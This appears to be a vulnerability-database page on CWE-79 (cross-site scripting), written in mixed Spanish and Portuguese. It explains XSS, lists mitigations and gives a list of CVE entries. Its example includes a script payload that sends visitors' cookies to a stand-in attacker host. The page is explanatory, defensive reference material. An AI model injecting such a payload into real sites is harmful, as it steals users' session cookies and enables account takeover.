Fallos del tipo CWE-79

30.149 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-5727MEDIUMSourceCodester Student Result Management System Announcement Page announcement cross site scriptingEPSS 0.3%CVE-2025-5584MEDIUMPHPGurukul Hospital Management System POST Parameter edit-patient.php cross site scriptingEPSS 0.3%CVE-2024-20525MEDIUMCisco Identity Services Engine Reflected Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2023-51361MEDIUMWordPress Sticky Chat Widget Plugin <= 1.1.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-10104MEDIUMProduct Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via custom_thumbnail ParameterEPSS 0.3%CVE-2024-43024MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in RWS MultiTrans v7.0.23324.2 and earlier allow attackers to execute arbitrary wEPSS 0.3%CVE-2026-2834HIGHAge Verification & Identity Verification by Token of Trust <= 3.32.3 - Unauthenticated Stored Cross-Site Scripting via 'description' ParameterEPSS 0.3%CVE-2024-54043MEDIUMAdobe Connect | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2024-10112MEDIUMSimple News <= 2.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via news ShortcodeEPSS 0.3%CVE-2023-6776MEDIUM3D Flipbook <= 1.15.2 - Authenticated (Contributor+) Cross-Site Scripting via Ready FunctionEPSS 0.3%CVE-2026-12108MEDIUMHighlighting Code Block <= 2.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'font_family' SettingEPSS 0.3%CVE-2024-1508MEDIUMPrime Slider – Addons For Elementor <= 3.13.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Mercury WidgetEPSS 0.3%CVE-2025-51860MEDIUMStored Cross-Site Scripting (XSS) in TelegAI (telegai.com) 2025-05-26 in its chat component and character container component. An attacker cEPSS 0.3%CVE-2025-52203HIGHA stored cross-site scripting (XSS) vulnerability exists in DevaslanPHP project-management v1.2.4. The vulnerability resides in the Ticket NEPSS 0.3%CVE-2024-47612LOWXSS in Special:DataDump when displaying dump statusEPSS 0.3%CVE-2024-32428MEDIUMWordPress MWW Disclaimer Buttons plugin <= 3.0.2 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-39933MEDIUMMultiple XSS vulnerabilities in GlobalWatchlistEPSS 0.3%CVE-2024-44001MEDIUMWordPress Royal Elementor Addons and Templates plugin <= 1.3.982 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-54048MEDIUMAdobe Connect | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-5726MEDIUMSourceCodester Student Result Management System Division System Page division-system cross site scriptingEPSS 0.3%